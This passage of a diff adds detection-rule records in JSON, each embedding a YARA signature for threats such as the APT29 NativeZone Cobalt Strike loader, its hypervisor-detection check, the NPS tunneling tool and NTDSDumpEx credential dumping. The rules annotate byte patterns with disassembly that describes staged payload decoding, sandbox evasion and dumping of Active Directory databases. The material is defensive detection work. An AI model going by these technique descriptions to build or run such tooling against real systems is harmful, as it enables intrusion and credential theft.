+    "nobelium_nativezone_5b820e216090"
+  ],
+  "rule_creation_date": "2021-06-07",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Malware.NativeZone"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1027.002",
+    "attack.t1027.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nobelium_nativezone_7748e19e79dc_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.587772Z",
+  "creation_date": "2026-03-23T11:46:25.587774Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.587781Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0637/"
+  ],
+  "name": "nobelium_nativezone_7748e19e79dc.yar",
+  "content": "rule nobelium_nativezone_7748e19e79dc {\n    meta:\n        title = \"Nobelium NativeZone (7748e19e79dc)\"\n        id = \"e4384636-2afc-4ae5-a2c7-7748e19e79dc\"\n        description = \"Detects the Nobelium NativeZone x64 payload.\\nNativeZone is the name given to Cobalt Strike loaders used by APT29 since at least 2021.\\nThis payload uses VirtualAlloc and VirtualProtect to decode and execute the next stage payload.\\nIt is recommended to isolate the affected system and monitor network traffic for suspicious activity.\"\n        references = \"https://attack.mitre.org/software/S0637/\"\n        date = \"2021-06-01\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.g0016;attack.s0637;attack.t1027.001;attack.t1027.002\"\n        classification = \"Windows.Malware.NativeZone\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // This payload use those APIs to load the decoded payload\n        $api_used_s1 = \"VirtualAlloc\" ascii\n        $api_used_s2 = \"VirtualProtect\" ascii\n\n        // The decryption algorithm used to decoded Cobalt Strike.\n        $nobelium_nativezone_decode_next_payload = {\n            41 B9 04 00 00 00              // mov r9d, 4            // PAGE_READWRITE\n            41 B8 00 30 00 00              // mov r8d, 3000         // MEM_COMMIT | MEM_RESERVE\n            48 8B D0                       // mov rdx, rax          // dwSize\n            33 C9                          // xor ecx, ecx          // lpAddress\n            FF 15 ?? ?? ?? ??              // call dword ptr [0xXX] // VirtualAlloc\n\n            (\n                48 89 84 24 ?? 00 00 00 |  // mov qword ptr [rsp + 0xXX], rax\n                48 89 44 24 ??             // mov qword ptr [rsp + 0xXX], rax (second variant)\n            )\n            C7 44 24 ?? 00 00 00 00        // mov dword ptr [rsp + 0xXX], 0\n            EB ??                          // jump decode_start\n\n                                           // nobelium_nativezone_decode_loop:\n            8B 44 24 ??                    // mov eax, dword ptr [rsp + 0xXX]\n            83 C0 02                       // add eax, 2\n            89 44 24 ??                    // mov dword ptr [rsp + 0xXX], eax\n\n                                           // nobelium_nativezone_decode_start:\n            8B 44 24 ??                    // mov eax, dword ptr [rsp + 0xXX]\n            39 44 24 ??                    // cmp dword ptr [rsp + 0xXX], eax\n            7D ??                          // jge nobelium_nativezone_decode_finished\n            8B 44 24 ??                    // mov eax, dword ptr [rsp + 0xXX]\n            FF C0                          // inc eax\n            48 98                          // cdqe\n            48 8D 0D ?? ?? ?? ??           // lea rcx, [rip + 0xXXXXXXXX]\n            48 63 54 24 ??                 // movsxd rdx, dword ptr [rsp + 0xXX]\n            (\n                48 8B 9C 24 ?? 00 00 00 |  // mov rbx, qword ptr [rsp + 0xXX]\n                4C 8B 44 24 ??             // mov r8, qword ptr [rsp + 0xXX] (second variant)\n            )\n            0F B6 04 01                    // movzx eax, byte ptr [rcx + rax]\n            (\n                88 04 13 |                 // mov byte ptr [rbx + rdx], al\n                41 88 04 10                // mov byte ptr [r8 + rdx], al\n            )\n            48 63 44 24 ??                 // movsxd rax, dword ptr [rsp + 0xXX]\n            48 8D 0D ?? ?? ?? ??           // lea rcx, [rip + 0xXXXXXXXX]\n            8B 54 24 ??                    // mov edx, dword ptr [rsp + 0xXX]\n            FF C2                          // inc edx\n            48 63 D2                       // movsxd rdx, edx\n            (\n                48 8B 9C 24 ?? 00 00 00 |  // mov rbx, qword ptr [rsp + 0xXX]\n                4C 8B 44 24 ??             // mov r8, qword ptr [rsp + 0xXX] (second variant)\n            )\n            0F B6 04 01                    // movzx eax, byte ptr [rcx + rax]\n            (\n                88 04 13 |                 // mov byte ptr [rbx + rdx], al\n                41 88 04 10                // mov byte ptr [r8 + rdx], al\n            )\n            EB ??                          // jump nobelium_nativezone_decode_loop\n\n            [0-20]                         // NOTE: there is some random instruction noise here if build with -O0 because of unused stuffs, skip it.\n\n                                           // nobelium_nativezone_decode_finished:\n            (\n                4C 8D 8C 24 ?? ?? ?? ?? |  // lea r9, [rsp + 0xXXX]           // lpflOldProtect\n                4C 8D 4C 24 ??             // lea r9, [rsp + 0xXXX]           // lpflOldProtect (second variant)\n            )\n            41 B8 20 00 00 00              // mov r8d, 0x20                   // PAGE_READEXECUTE\n            48 8B D0                       // mov rdx, rax                    // dwSize\n            (\n                48 8B 8C 24 ?? 00 00 00 |  // mov rcx, qword ptr [rsp + 0xXX] // lpAddress\n                48 8B 4C 24 ??             // mov rcx, qword ptr [rsp + 0xXX] // lpAddress (second variant)\n            )\n            FF 15 ?? ?? ?? ??              // call dword ptr [0xXX]           // VirtualProtect\n        }\n\n    condition:\n        filesize < 2MB and all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nobelium_nativezone_7748e19e79dc"
+  ],
+  "rule_creation_date": "2021-06-01",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Malware.NativeZone"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1027.002",
+    "attack.t1027.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nobelium_vm_detection_11d77b26d53c_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.574585Z",
+  "creation_date": "2026-03-23T11:46:25.574588Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.574593Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0637/"
+  ],
+  "name": "nobelium_vm_detection_11d77b26d53c.yar",
+  "content": "rule nobelium_vm_detection_11d77b26d53c {\n    meta:\n        title = \"Nobelium VM Detection\"\n        id = \"9516af5b-34ed-4e7e-a0ca-11d77b26d53c\"\n        description = \"Detects the Nobelium VM detection mechanism used by the NativeZone component.\\nNativeZone is the name given to Cobalt Strike loaders used by APT29 since at least 2021.\\nThis rule identifies the presence of code that uses CPUID to extract processor information and compares it against known hypervisor manufacturer strings to determine if the system is running in a virtual environment.\\nIt is recommended to isolate the system and perform a detailed investigation to identify any unauthorized driver activity.\"\n        references = \"https://attack.mitre.org/software/S0637/\"\n        date = \"2021-06-07\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.g0016;attack.s0637;attack.t1027.001;attack.t1027.002\"\n        classification = \"Windows.Malware.NativeZone\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $cpuid_extract_manifacturer_id = {\n            33 C0                   // xor eax, eax\n            33 C9                   // xor ecx, ecx\n            0F A2                   // cpuid\n            4C 8D 84 24 ?? ?? ?? ?? // lea r8, [rsp + 0xXXXX]\n            41 89 00                // mov dword ptr [r8], eax\n            41 89 58 04             // mov dword ptr [r8 + 4], ebx\n            41 89 48 08             // mov dword ptr [r8 + 8], ecx\n            41 89 50 0C             // mov dword ptr [r8 + 0xc], edx\n        }\n\n        // This is a stack copy of the following:\n        // strcpy(array[0], \"Microsoft Hv\");\n        // strcpy(array[1], \"VMwareVMware\");\n        // strcpy(array[2], \"XenVMMXenVMM\");\n        // strcpy(array[3], \"VBoxVBoxVBox\");\n        // strcpy(array[4], \"TCGTCGTCGTCG\");\n        // strcpy(array[5], \"VirtualApple\");\n        $vendor_list_on_stack = {\n            C6 84 24 ?? 02 00 00 4D // mov byte ptr [rsp + 0x218], 0x4d\n            C6 84 24 ?? 02 00 00 69 // mov byte ptr [rsp + 0x219], 0x69\n            C6 84 24 ?? 02 00 00 63 // mov byte ptr [rsp + 0x21a], 0x63\n            C6 84 24 ?? 02 00 00 72 // mov byte ptr [rsp + 0x21b], 0x72\n            C6 84 24 ?? 02 00 00 6F // mov byte ptr [rsp + 0x21c], 0x6f\n            C6 84 24 ?? 02 00 00 73 // mov byte ptr [rsp + 0x21d], 0x73\n            C6 84 24 ?? 02 00 00 6F // mov byte ptr [rsp + 0x21e], 0x6f\n            C6 84 24 ?? 02 00 00 66 // mov byte ptr [rsp + 0x21f], 0x66\n            C6 84 24 ?? 02 00 00 74 // mov byte ptr [rsp + 0x220], 0x74\n            C6 84 24 ?? 02 00 00 20 // mov byte ptr [rsp + 0x221], 0x20\n            C6 84 24 ?? 02 00 00 48 // mov byte ptr [rsp + 0x222], 0x48\n            C6 84 24 ?? 02 00 00 76 // mov byte ptr [rsp + 0x223], 0x76\n            C6 84 24 ?? 02 00 00 00 // mov byte ptr [rsp + 0x224], 0x00\n            C6 84 24 ?? 02 00 00 56 // mov byte ptr [rsp + 0x228], 0x56\n            C6 84 24 ?? 02 00 00 4D // mov byte ptr [rsp + 0x229], 0x4d\n            C6 84 24 ?? 02 00 00 77 // mov byte ptr [rsp + 0x22a], 0x77\n            C6 84 24 ?? 02 00 00 61 // mov byte ptr [rsp + 0x22b], 0x61\n            C6 84 24 ?? 02 00 00 72 // mov byte ptr [rsp + 0x22c], 0x72\n            C6 84 24 ?? 02 00 00 65 // mov byte ptr [rsp + 0x22d], 0x65\n            C6 84 24 ?? 02 00 00 56 // mov byte ptr [rsp + 0x22e], 0x56\n            C6 84 24 ?? 02 00 00 4D // mov byte ptr [rsp + 0x22f], 0x4d\n            C6 84 24 ?? 02 00 00 77 // mov byte ptr [rsp + 0x230], 0x77\n            C6 84 24 ?? 02 00 00 61 // mov byte ptr [rsp + 0x231], 0x61\n            C6 84 24 ?? 02 00 00 72 // mov byte ptr [rsp + 0x232], 0x72\n            C6 84 24 ?? 02 00 00 65 // mov byte ptr [rsp + 0x233], 0x65\n            C6 84 24 ?? 02 00 00 00 // mov byte ptr [rsp + 0x234], 0x00\n            C6 84 24 ?? 02 00 00 58 // mov byte ptr [rsp + 0x238], 0x58\n            C6 84 24 ?? 02 00 00 65 // mov byte ptr [rsp + 0x239], 0x65\n            C6 84 24 ?? 02 00 00 6E // mov byte ptr [rsp + 0x23a], 0x6e\n            C6 84 24 ?? 02 00 00 56 // mov byte ptr [rsp + 0x23b], 0x56\n            C6 84 24 ?? 02 00 00 4D // mov byte ptr [rsp + 0x23c], 0x4d\n            C6 84 24 ?? 02 00 00 4D // mov byte ptr [rsp + 0x23d], 0x4d\n            C6 84 24 ?? 02 00 00 58 // mov byte ptr [rsp + 0x23e], 0x58\n            C6 84 24 ?? 02 00 00 65 // mov byte ptr [rsp + 0x23f], 0x65\n            C6 84 24 ?? 02 00 00 6E // mov byte ptr [rsp + 0x240], 0x6e\n            C6 84 24 ?? 02 00 00 56 // mov byte ptr [rsp + 0x241], 0x56\n            C6 84 24 ?? 02 00 00 4D // mov byte ptr [rsp + 0x242], 0x4d\n            C6 84 24 ?? 02 00 00 4D // mov byte ptr [rsp + 0x243], 0x4d\n            C6 84 24 ?? 02 00 00 00 // mov byte ptr [rsp + 0x244], 0x00\n            C6 84 24 ?? 02 00 00 56 // mov byte ptr [rsp + 0x248], 0x56\n            C6 84 24 ?? 02 00 00 42 // mov byte ptr [rsp + 0x249], 0x42\n            C6 84 24 ?? 02 00 00 6F // mov byte ptr [rsp + 0x24a], 0x6f\n            C6 84 24 ?? 02 00 00 78 // mov byte ptr [rsp + 0x24b], 0x78\n            C6 84 24 ?? 02 00 00 56 // mov byte ptr [rsp + 0x24c], 0x56\n            C6 84 24 ?? 02 00 00 42 // mov byte ptr [rsp + 0x24d], 0x42\n            C6 84 24 ?? 02 00 00 6F // mov byte ptr [rsp + 0x24e], 0x6f\n            C6 84 24 ?? 02 00 00 78 // mov byte ptr [rsp + 0x24f], 0x78\n            C6 84 24 ?? 02 00 00 56 // mov byte ptr [rsp + 0x250], 0x56\n            C6 84 24 ?? 02 00 00 42 // mov byte ptr [rsp + 0x251], 0x42\n            C6 84 24 ?? 02 00 00 6F // mov byte ptr [rsp + 0x252], 0x6f\n            C6 84 24 ?? 02 00 00 78 // mov byte ptr [rsp + 0x253], 0x78\n            C6 84 24 ?? 02 00 00 00 // mov byte ptr [rsp + 0x254], 0x00\n            C6 84 24 ?? 02 00 00 54 // mov byte ptr [rsp + 0x258], 0x54\n            C6 84 24 ?? 02 00 00 43 // mov byte ptr [rsp + 0x259], 0x43\n            C6 84 24 ?? 02 00 00 47 // mov byte ptr [rsp + 0x25a], 0x47\n            C6 84 24 ?? 02 00 00 54 // mov byte ptr [rsp + 0x25b], 0x54\n            C6 84 24 ?? 02 00 00 43 // mov byte ptr [rsp + 0x25c], 0x43\n            C6 84 24 ?? 02 00 00 47 // mov byte ptr [rsp + 0x25d], 0x47\n            C6 84 24 ?? 02 00 00 54 // mov byte ptr [rsp + 0x25e], 0x54\n            C6 84 24 ?? 02 00 00 43 // mov byte ptr [rsp + 0x25f], 0x43\n            C6 84 24 ?? 02 00 00 47 // mov byte ptr [rsp + 0x260], 0x47\n            C6 84 24 ?? 02 00 00 54 // mov byte ptr [rsp + 0x261], 0x54\n            C6 84 24 ?? 02 00 00 43 // mov byte ptr [rsp + 0x262], 0x43\n            C6 84 24 ?? 02 00 00 47 // mov byte ptr [rsp + 0x263], 0x47\n            C6 84 24 ?? 02 00 00 00 // mov byte ptr [rsp + 0x264], 0x00\n            C6 84 24 ?? 02 00 00 56 // mov byte ptr [rsp + 0x208], 0x56\n            C6 84 24 ?? 02 00 00 69 // mov byte ptr [rsp + 0x209], 0x69\n            C6 84 24 ?? 02 00 00 72 // mov byte ptr [rsp + 0x20a], 0x72\n            C6 84 24 ?? 02 00 00 74 // mov byte ptr [rsp + 0x20b], 0x74\n            C6 84 24 ?? 02 00 00 75 // mov byte ptr [rsp + 0x20c], 0x75\n            C6 84 24 ?? 02 00 00 61 // mov byte ptr [rsp + 0x20d], 0x61\n            C6 84 24 ?? 02 00 00 6C // mov byte ptr [rsp + 0x20e], 0x6c\n            C6 84 24 ?? 02 00 00 41 // mov byte ptr [rsp + 0x20f], 0x41\n            C6 84 24 ?? 02 00 00 70 // mov byte ptr [rsp + 0x210], 0x70\n            C6 84 24 ?? 02 00 00 70 // mov byte ptr [rsp + 0x211], 0x70\n            C6 84 24 ?? 02 00 00 6C // mov byte ptr [rsp + 0x212], 0x6c\n            C6 84 24 ?? 02 00 00 65 // mov byte ptr [rsp + 0x213], 0x65\n            C6 84 24 ?? 02 00 00 00 // mov byte ptr [rsp + 0x214], 0x00\n        }\n\n    condition:\n        filesize < 2MB and all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nobelium_vm_detection_11d77b26d53c"
+  ],
+  "rule_creation_date": "2021-06-07",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Malware.NativeZone"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1027.002",
+    "attack.t1027.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nps_tunneling_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.577009Z",
+  "creation_date": "2026-03-23T11:46:25.577011Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.577017Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/ehang-io/nps"
+  ],
+  "name": "nps_tunneling.yar",
+  "content": "rule nps_hacktool {\n    meta:\n        title = \"NPS HackTool\"\n        id = \"3f0f24a6-4eb3-4d4a-8559-569d0b31cacb\"\n        description = \"Detects the NPS tunneling hacktool.\\nNPS is an open-source lightweight proxy server.\\nIt can be used by adversaries to tunnel traffic into internal networks from an initial foothold.\\nIt is recommended to verify if the usage of this tool is legitimate.\"\n        references = \"https://github.com/ehang-io/nps\"\n        date = \"2025-03-28\"\n        modified = \"2025-05-09\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1071;attack.t1572\"\n        classification = \"HackTool.NPSTunneling\"\n        context = \"process,file.pe,file.elf,file.macho\"\n        os = \"Windows,Linux,MacOS\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // cab0376ec4e149f5242729bb3b5702772456bed3a601ce57bf0511196f5a5c6f\n        // 5a456283392ffceeeaca3d3426c306eb470304637520d72fed1cc1febbbd6856\n        // 2ccd01d09af66cbba97176953ee9a853a5651e09c019c96a273e0d69bb80baa2\n        // eb555c0e2772e1346738b9fd4c2027b993651f3b0b3a0cb0f8e5c65cb5816e27\n        // 4714e8ad9c625070ca0a151ffc98d87d8e5da7c8ef42037ca5f43baede6cfac1\n\n        $go_binary = \"Go buildinf:\" ascii fullword\n\n        $a1 = \"main.(*npc).Start\" ascii fullword\n        $a2 = \"main.(*npc).run.func1\" ascii fullword\n        $a3 = \"ehang.io/nps/lib/crypt.GetRandomString\" ascii fullword\n        $a4 = \"ehang.io/nps/lib/common.ReadUDPDatagram\" ascii fullword\n        $a5 = \"ehang.io/nps/lib/rate.(*Rate).ReturnBucket\" ascii fullword\n        $a6 = \"ehang.io/nps/lib/file.NewJsonDb\" ascii fullword\n\n        $b1 = \"Accept server data error %s, end this service\" ascii\n        $b2 = \"http request, method %s, host %s, url %s, remote address %s\" ascii\n        $b3 = \"npc: panic serving %v: %v\" ascii\n        $b4 = \"the version of client is %s, the core version of client is %s\" ascii\n        $b5 = \"new %s connection with the goal of %s, remote address:%s\" ascii\n        $b6 = \"https://api.github.com/repos/ehang-io/nps/releases/latest\" ascii\n\n    condition:\n        (\n            uint16(0) == 0x5a4d or // Windows\n            uint16(0) == 0x457f or // Linux\n            (\n                // MacOS\n                uint32(0) == 0xfeedface or\n                uint32(0) == 0xcefaedfe or\n                uint32(0) == 0xfeedfacf or\n                uint32(0) == 0xcffaedfe or\n                uint32(0) == 0xcafebabe or\n                uint32(0) == 0xbebafeca\n            )\n        )\n        and $go_binary\n        and\n        (\n            2 of ($a*) or\n            4 of ($b*)\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nps_hacktool"
+  ],
+  "rule_creation_date": "2025-03-28",
+  "rule_modified_date": "2025-05-09",
+  "rule_os": [
+    "macos",
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "HackTool.NPSTunneling"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071",
+    "attack.t1572"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.elf",
+    "file.pe",
+    "file.macho",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ntdsdumpex_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.563299Z",
+  "creation_date": "2026-03-23T11:46:25.563303Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.563310Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.bitdefender.com/files/News/CaseStudies/study/421/Bitdefender-PR-Whitepaper-IndEs-creat6269-en-EN.pdf\nhttps://github.com/zcgonvh/NTDSDumpEx"
+  ],
+  "name": "ntdsdumpex.yar",
+  "content": "rule ntdsdumpex {\n    meta:\n        title = \"NTDSDumpEx Tool\"\n        id = \"a0e5111e-1928-41d5-a87f-52ea32eefd82\"\n        description = \"Detects the NTDSDumpEx tool, an offline utility designed to dump NTDS.dit files.\\nNTDSDumpEx is used to extract data from Active Directory database files, often for unauthorized access or data extraction. This rule identifies the tool's activity, which was observed in an industrial espionage incident reported by BitDefender in 2022.\\nIt is recommended to investigate the execution context as well as surrounding detections to determine if the usage of this tool is legitimate.\"\n        references = \"https://www.bitdefender.com/files/News/CaseStudies/study/421/Bitdefender-PR-Whitepaper-IndEs-creat6269-en-EN.pdf\\nhttps://github.com/zcgonvh/NTDSDumpEx\"\n        date = \"2022-09-02\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1003.003\"\n        classification = \"Windows.Tool.NTDSDumpEx\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 6db8336794a351888636cb26ebefb52aeaa4b7f90dbb3e6440c2a28e4f13ef96\n\n        $critical_str_1 = \"ntdsdumpex.exe\" ascii\n        $critical_str_2 = \"-d    path of ntds.dit database\" fullword ascii\n        $critical_str_3 = \"Example : ntdsdumpex.exe -r\" fullword ascii\n        $critical_str_4 = \"ntdsdump_0_3\" fullword ascii\n        $critical_str_5 = \"[+]total %d entries dumped,%d normal accounts,%d machines,%d histories.\" fullword ascii\n\n        $s1 = \"\\\\ControlSet001\\\\Control\\\\Lsa\\\\\" fullword ascii\n        $s2 = \"SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\\" fullword ascii\n        $s3 = \"[x]hive key: %s not found\" fullword ascii\n        $s4 = \"[x]no SYSKEY set\" fullword ascii\n        $s5 = \"[+]dump completed in %.3f seconds.\" fullword ascii\n\n        // formatting info dumped from ntds.dit\n        $op1 = {\n            8D 46 E8           // lea     eax, [esi-18h]\n            8B CB              // mov     ecx, ebx        ; int\n            C1 E8 04           // shr     eax, 4\n            89 85 ?? ?? FF FF  // mov     [ebp+var_990], eax\n            E8 CB F8 FF FF     // call    sub_402050\n            FF B5 ?? ?? FF FF  // push    [ebp+Size]      ; int\n            8B CB              // mov     ecx, ebx        ; int\n            FF B5 ?? ?? FF FF  // push    [ebp+var_94C]   ; int\n            E8 ?? ?? ?? ??     // call    sub_402050\n            8B 85 ?? ?? FF FF  // mov     eax, [ebp+pcbActual]\n            33 F6              // xor     esi, esi\n            C1 E8 04           // shr     eax, 4\n        }\n\n        // inline string checking\n        $op2 = {\n            89 46 ??     // mov     [esi+10h], eax\n            85 C0        // test    eax, eax\n            75 ??        // jnz     short loc_4018A1\n            80 7D ?? 41  // cmp     [ebp+pvData], 41h ; 'A'\n            75 45        // jnz     short loc_4018A1\n            80 7D ?? 54  // cmp     [ebp+var_4F], 54h ; 'T'\n            75 3F        // jnz     short loc_4018A1\n            80 7D ?? 54  // cmp     [ebp+var_4E], 54h ; 'T'\n            75 ??        // jnz     short loc_4018A1\n            50           // push    eax             ; pretinfo\n            50           // push    eax             ; grbit\n            50           // push    eax             ; pcbActual\n            6A 04        // push    4               ; cbData\n        }\n\n    condition:\n        uint16(0) == 0x5a4d and filesize < 300KB and (2 of ($critical_str_*) or (3 of ($s*) and 1 of ($op*)))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ntdsdumpex"
+  ],
+  "rule_creation_date": "2022-09-02",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.NTDSDumpEx"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.003"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ntfs_parser_lib_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.590205Z",
+  "creation_date": "2026-03-23T11:46:25.590207Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.590213Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.codeproject.com/articles/An-NTFS-Parser-Lib\nhttps://attack.mitre.org/techniques/T1006/"
+  ],
+  "name": "ntfs_parser_lib.yar",
+  "content": "rule ntfs_parser_lib {\n    meta:\n        title = \"NTFS Parser Lib Tool\"\n        id = \"b4d61e1c-e1df-46ab-8425-a5d8501de96d\"\n        description = \"Detects NTFS Parser Lib, a library that directly parses raw NTFS disk structures such as MFT records, attributes, indexes, and clusters to extract low-level filesystem data.\\nAttackers may use it to read raw NTFS data and access files without relying on normal system protections.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activities.\"\n        references = \"https://www.codeproject.com/articles/An-NTFS-Parser-Lib\\nhttps://attack.mitre.org/techniques/T1006/\"\n        date = \"2025-11-21\"\n        modified = \"2025-12-29\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1006\"\n        classification = \"Windows.Tool.NTFSParserLib\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 